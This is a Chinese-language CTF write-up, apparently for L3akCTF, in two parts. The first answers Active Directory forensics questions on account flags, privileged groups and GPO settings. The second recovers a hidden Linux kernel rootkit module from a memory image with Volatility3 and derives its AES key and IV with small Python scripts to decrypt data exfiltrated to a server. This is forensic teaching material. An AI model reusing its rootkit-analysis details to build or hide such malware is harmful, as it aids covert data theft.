✅ 十六进制转换规则 :0x202
= 512 + 2
(十进制)
512
(0x200
):普通用户账户
2
(0x2
) :账户禁用标志
由图可知Wilhelm Firtz, Reginald Norwood, Christopher Price, 0x202
要注意
域内置的 krbtgt
账户 (Kerberos密钥分发账户),它在AD中默认是禁用状态 (密码不可修改+账户禁用),因此值固定为 514
(十六进制 0x202
)。
8.Which enabled users have their password set to not expire, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…
Bigsby Appleton, Montgomery Fitzgerald, Lily Sampson, 0x10200
根据网站的信息
9.What departments exist inside this domain, and how many active employees exist in each department? List the departments in alphabetical order. Format: DepartmentName-NumberOfEmployees
Finance-3, HR-8, IT-5
当然需要排除已禁用的用户(即 userAccountControl = 514
)
10.Which users have the most control over the structure of the AD forest? Format: user1, user2, …
Charlie Edgars, Lily Sampson
拥有最多控制权的用户通常是 Schema Admins、Enterprise Admins 和 Domain Admins 等高度特权组的成员
在 CN=Users -> CN=Schema Admins 下找到成员属性,然后打开
有两个用户,administrator是默认的
11. Which users violate the principle of least privilege? Format: user1, user2, …
Christopher Price, Eleanor Wharton
Christopher Price = 外部用户已禁用,仍属于 CN=IT Employees
Eleanor Wharton = IT 部门成员,但也属于 CN=Finance Employees
12.Which OUs block inheritance? Format: OU1, OU2, …
Domain Controllers, IT, FileServers
根据[MS-GPOL]: 域 SOM 搜索 | Microsoft Learn — [MS-GPOL]: Domain SOM Search | Microsoft Learn 文档可知,gpOptions 属性确定策略继承的行为,过滤 gPOptions = 1
的
13.The GPOs were imported from a file supplied by a U.S. organization. Provide the sha256sum hash of the zip file containing the GPOs.
4BD7742C73A610EDF79A6B484457351438C90DC6FAC119EF8475B46D96BD2B37
所有在 CN=System → CN=Policies
下找到的 GPO 均以 DoD
开始
最终在NCP - 下载 — NCP - Download 中找到文件
14.What anti-virus software does the domain utilize, what is the maximum age in days of the AV definitions, and what must be impeded from launching executables?
Microsoft Defender, 7, JavaScript, VBScript
在其中一共gpo中找到DoD Microsoft Defender Antivirus STIG Computer v2r4
在DISA STIG Microsoft Defender 抗病毒软件 v2r4 | Tenable® — DISA STIG Microsoft Defender Antivirus v2r4 | Tenable® 这个网站中可以发现相关规则
Invisible 1 2 3 4 Attackers never stop at the initial breach. They leave behind invisible traces and subtle signs within the memory image. Can you uncover these hidden remnants,track their every move, and piece together the story of their actions within the system? Author:0xS1rx58
linux内存取证,这是我第一次遇到qaq。
本题给了ubuntu的Ubuntu-22.04.4-5.19.0-1030.json文件,大概是符号表,首先要将 JSON 文件放置在 Volatility3 文件夹中的符号文件夹内volatility3/symbols/linux/
然后使用vol3扫描了linux的进程,在最后发现了这个奇怪的进程,在这个进程之前,执行了sudo su 得到了root权限,然后以某种方式运行 core_logic_thre
,带有 bash
其PPID为2说明它是一个内核线程,没有可得出的文件,再查看内核线程时,得知其module为sysfillrec
因此我们需要找到这个内核模块进一步分析,使用lsmod并没有找到这个模块,大概率被隐藏了
查看隐藏模块,发现,接下来通过linux.pagecache.Files
列出所有文件以寻找内核模块文件
搜索找到其路径。 有两种导出模块的方法:
使用 InodePages
插件,仅导出我们需要的部分
使用 RecoverFs
插件,导出整个文件系统,然后通过找到的路径查找文件。使用这种方法以防万一还需要查找其他文件。
最后找到
解压出来分析
(图1)
在同名函数中发现了熟悉的字符串,可以印证,然后逆向分析,
crypto_skcipher_setkey(_engine_cipher, v1, 32);
使用了AEC-CBC模式设置加密密钥
因此,按照 AES-CBC 的要求,我们需要三样东西才能解密消息:Key ,IV,Ciphertext
v1作为 crypto_skcipher_setkey
的参数,由_compile_hint_map();
生成
找到其对应的函数实现
_compile_hint_map()
返回 p__dk.11
的指针。阅读代码后,它迭代了 32 次,然后使用 _key
的内容对 _shf
的内容进行置换,将其赋值给 dk_11
,最后将值赋给 p__dk.11
以返回。
我们可以得知_key
和 _shf
的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 _key = [ 0x05 , 0x0B , 0x0C , 0x1D , 0x14 , 0x15 , 0x16 , 0x01 , 0x0A , 0x00 , 0x0D , 0x0E , 0x0F , 0x06 , 0x04 , 0x07 , 0x03 , 0x10 , 0x13 , 0x02 , 0x1C , 0x1B , 0x08 , 0x09 , 0x11 , 0x12 , 0x17 , 0x1A , 0x19 , 0x1E , 0x18 , 0x1F ] _shf = [ 0x50 , 0x46 , 0x47 , 0x5A , 0x53 , 0x41 , 0x53 , 0x4C , 0x33 , 0x46 , 0x4B , 0x4E , 0x54 , 0x4D , 0x53 , 0x41 , 0x5A , 0x47 , 0x36 , 0x46 , 0x4D , 0x44 , 0x59 , 0x36 , 0x43 , 0x46 , 0x50 , 0x4D , 0x58 , 0x54 , 0x32 , 0x46 ] dk_11 = bytes ([_shf[k] for k in _key]) print ("Length:" , len (dk_11))print ("Hex:" , dk_11.hex ())print ("ASCII:" , dk_11.decode("ascii" ))
1 2 3 Length: 32 Hex: 414e54544d4459464b504d534153534c5a5a4647584d33464736365046324346 ASCII: ANTTMDYFKPMSASSLZZFGXM3FG66PF2CF
得到密钥。
由于密钥长度为 32 字节,我们可以推断这是 AES-256-CBC。现在来寻找 IV。注意在图 1 中,我们看到了很多函数的实现。发现 _dispatch_phase_impl
和 _compile_hint_map
的实现非常相似。
但这次迭代次数从 32 次变成了 16 次, _key
、 _shf
和 dk_11
变成了 rp
、 sp
和 ot_12
。根据迭代次数猜测,这应该输出 16 字节的 result
,这符合我们对 AES-256-CBC 的要求
1 2 3 4 5 6 7 8 9 10 11 12 13 rp = [ 3 , 0 , 8 , 10 , 12 , 15 , 7 , 9 , 11 , 1 , 14 , 4 , 5 , 6 , 2 , 13 ] sp = [ 0x41 , 0x47 , 0x47 , 0x51 , 0x43 , 0x4C , 0x46 , 0x34 , 0x53 , 0x54 , 0x4D , 0x50 , 0x42 , 0x32 , 0x41 , 0x4D ] ot_12 = bytes ([sp[k] for k in rp]) print ("Length:" , len (ot_12))print ("Hex:" , ot_12.hex ())print ("ASCII:" , ot_12.decode("ascii" ))
1 2 3 Length: 16 Hex: 5141534d424d3454504741434c464732 ASCII: QASMBM4TPGACLFG2
得到了IV。所以我们只需要密文了。那么密文在哪呢?
如果我们去翻汇编代码会发现
我们可以推测这可能是向恶意服务器发送某些数据,那么密文一定通过网络传递。
所以我们需要从内存中提取流量包。
L3akCTF 的 discord 服务器里有人提到了 bulk_extractor
,这是一个有力的数据提取器,基本上是 binwalk
的加强版Releases · simsong/bulk_extractor
提取后发现一个pcap流量包,关注10.0.2.17的流量
得到数据2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e39187496375761
文件名解base64得到
L3AK{M3m0ry_N3V3r_F0rG3t5_Th3_Sh4D0ws..!}
更新中ing。。。